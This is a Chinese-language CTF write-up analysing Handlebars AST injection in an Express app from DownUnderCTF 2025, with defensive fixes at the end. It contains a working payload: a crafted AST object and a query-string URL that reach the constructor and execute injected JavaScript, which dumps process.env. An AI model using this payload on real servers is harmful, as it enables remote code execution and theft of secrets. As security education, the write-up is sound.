从DownUnderCTF 2025探讨Handlebars的ast语法树注入问题
字数 1271 2025-09-01 11:25:54
Handlebars AST语法树注入分析与防御
前言
本文通过分析DownUnderCTF 2025中的一道题目,深入探讨Handlebars模板引擎中AST语法树注入的安全问题。题目使用了最新版本的Handlebars,不存在传统SSTI(服务器端模板注入)漏洞,而是通过AST语法树注入实现攻击。
题目分析
初始环境
题目提供了一个简单的Dockerfile和app.js:
// app.js
const express = require('express');
const Handlebars = require('handlebars');
const app = express();
app.get('/', (req, res) => {
const x = req.query.x;
const template = Handlebars.compile(x);
res.send(template({}));
});
app.listen(3000);
关键点:
- 直接使用用户输入的
req.query.x作为Handlebars.compile的参数 - Handlebars是最新版本,传统SSTI漏洞已修复
Handlebars编译机制分析
compile方法实现
Handlebars.compile不仅接受字符串作为输入,还可以接受类型为Program的对象:
// handlebars/lin/handlebars/compiler/compiler.js
function compile(input, options) {
// ...
if (input && typeof input === 'object' && input.type === 'Program') {
return compileInput(input);
}
// ...
}
AST解析过程
env.parse生成AST语法树- 如果
input.type为Program,直接返回整个对象,不做任何处理 compileInput()将其编译后交给env.template
关键点:
- 当传入对象且
type为Program时,Handlebars会直接使用该对象作为AST - Express的查询参数解析会将
x[params]=xxx这样的语法解析为对象
恶意AST树构建
AST节点类型分析
Handlebars模板中的{{...}}语法被称为"Mustache"表达式,会被处理为MustacheStatement节点。
示例测试代码:
const Handlebars = require('handlebars');
const ast = Handlebars.parse('{{2}}');
console.log(ast);
输出结果:
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "NumberLiteral",
"value": 2
}
}
]
}
Helper调用分析
当注册并调用helper时,AST结构会有所不同:
Handlebars.registerHelper('test', function() {});
const ast = Handlebars.parse('{{test 2}}');
console.log(ast);
输出结果:
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"parts": ["test"]
},
"params": [
{
"type": "NumberLiteral",
"value": 2
}
]
}
]
}
关键区别:
- 普通表达式:
NumberLiteral在path中 - Helper调用:
NumberLiteral在params中
参数处理机制
setupFullMustacheParams方法处理参数节点:
pushParams(val) {
this.accept(val);
}
accept方法根据节点类型调用对应的处理方法。对于NumberLiteral:
NumberLiteral(number) {
this.opcode('pushLiteral', number.value);
}
关键点:
opcode将value字段中的JavaScript函数字符串作为字面量添加到操作码中- 操作码最终会被拼接生成JS代码并执行
恶意AST构造与利用
构造恶意AST
基于上述分析,可以构造如下恶意AST:
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"parts": ["constructor"]
},
"params": [
{
"type": "StringLiteral",
"value": "console.log(process.env); return 'pwned'"
}
],
"hash": null,
"escaped": false
}
]
}
利用方式
通过Express查询参数传递恶意AST对象:
http://example.com/?x[type]=Program&x[body][0][type]=MustacheStatement&x[body][0][path][type]=PathExpression&x[body][0][path][parts][0]=constructor&x[body][0][params][0][type]=StringLiteral&x[body][0][params][0][value]=console.log(process.env); return 'pwned'
最小化恶意AST
恶意AST可以简化为:
{
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"parts": ["constructor"]
},
"params": [
{
"value": "console.log(process.env); return 'pwned'"
}
]
}
]
}
防御措施
-
输入类型检查:
- 在传入
Handlebars.compile前,检查req.query.x的类型 - 确保只接受字符串输入,拒绝对象类型
- 在传入
-
安全实践:
- 避免直接使用用户可控输入作为模板
- 提前准备并编译模板,最后使用template渲染数据
-
代码修改示例:
app.get('/', (req, res) => {
const x = req.query.x;
if (typeof x !== 'string') {
return res.status(400).send('Invalid input');
}
const template = Handlebars.compile(x);
res.send(template({}));
});
总结
Handlebars的AST语法树注入漏洞源于:
- 接受对象作为输入并直接解析为AST
- Express查询参数解析允许构造复杂对象
- AST编译过程中未对节点内容进行充分验证
防御关键在于严格控制输入类型和来源,避免用户直接控制模板编译过程。